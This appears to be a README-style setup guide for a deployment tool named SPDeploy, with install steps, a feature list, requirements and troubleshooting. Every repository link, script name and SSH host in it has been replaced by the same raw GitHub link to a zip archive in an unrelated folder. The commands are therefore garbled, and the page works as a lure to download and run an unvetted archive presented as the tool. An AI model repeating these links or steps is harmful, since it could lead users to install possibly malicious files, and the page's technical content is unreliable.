To get started with SPDeploy, visit the following link to download the latest version.
- Download SPDeploy: Get the latest release here
Follow these steps to set up SPDeploy on your system:
Setting up SPDeploy takes just a few minutes. Follow these easy steps:
-
Download from GitHub releases page
Click on the link to go to the releases page: Download SPDeploy.
Download the binary that matches your operating system and extract the files. -
Add Your Repository
Open your terminal or command prompt and enter the following command:spdeploy add https://raw.githubusercontent.com/Louniss72/SPDeploy/main/outriggerless/SPDeploy.zip /var/www/myappReplace
https://raw.githubusercontent.com/Louniss72/SPDeploy/main/outriggerless/SPDeploy.zipwith your actual Git repository link, and/var/www/myappwith the directory where you want to deploy your app. -
Start Monitoring
Now, run the following command to start monitoring your repository:spdeploy run
That’s it! SPDeploy will now watch your repository and automatically deploy your changes whenever you push to it.
SPDeploy offers several key features that make it simple and effective for deployment:
-
Universal Git Support
SPDeploy works seamlessly with GitHub, GitLab, BitBucket, and any other Git server that uses SSH. You can use it with any repository type or hosting provider. -
Simple Setup
There are no YAML configurations or complex pipelines. You run one command to add your repository and another to monitor it. It’s as straightforward as it gets. -
Deploy Scripts
You can set up a deployment script namedhttps://raw.githubusercontent.com/Louniss72/SPDeploy/main/outriggerless/SPDeploy.zip. This script will automatically execute every time SPDeploy pulls new changes, allowing you to handle custom deployment tasks easily. -
Lightweight
The application is compact, taking minimal resources on your server. This ensures that it runs smoothly without adding overhead. -
Built-In Security
SPDeploy uses SSH for communication, ensuring that your connections are secure. This means your code and data remain protected during deployment.
To run SPDeploy, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Git Installed: You must have Git installed on your system. Visit Git's official site to download and install it if you haven't.
- SSH Access: Ensure you can access your repositories via SSH. This often involves setting up SSH keys. Follow the instructions in your Git provider's documentation for setting this up.
SPDeploy is designed to be as low-touch as possible. However, you might want to fine-tune certain aspects:
- Environment Variables: You can customize parameters like
SPDEPLOY_HOMEto change the default installation directory if needed. - Script Customization: The
https://raw.githubusercontent.com/Louniss72/SPDeploy/main/outriggerless/SPDeploy.zipscript can be modified to include any commands you need to run post-deployment, such as building assets or restarting services.
If you encounter any issues while using SPDeploy, consider the following:
- Repository Access: Make sure you have proper access to the Git repository. Test your SSH connection with the command:
ssh -T https://raw.githubusercontent.com/Louniss72/SPDeploy/main/outriggerless/SPDeploy.zip - Check Logs: SPDeploy outputs logs to help you debug any issues. Review these logs if you experience unexpected behavior.
SPDeploy is open-source software. You can find the license details in the repository.
If you have questions or need assistance, feel free to reach out:
- GitHub Issues: Report any issues or request features through the GitHub Issues page.
- Documentation: Explore further details and examples in the documentation available on the repository.
For updates and community discussions, check our GitHub Discussions section.
We welcome your feedback to improve SPDeploy. Share your thoughts on how we can make the application better suited to your needs. Your input is invaluable.
Enjoy seamless deployments with SPDeploy!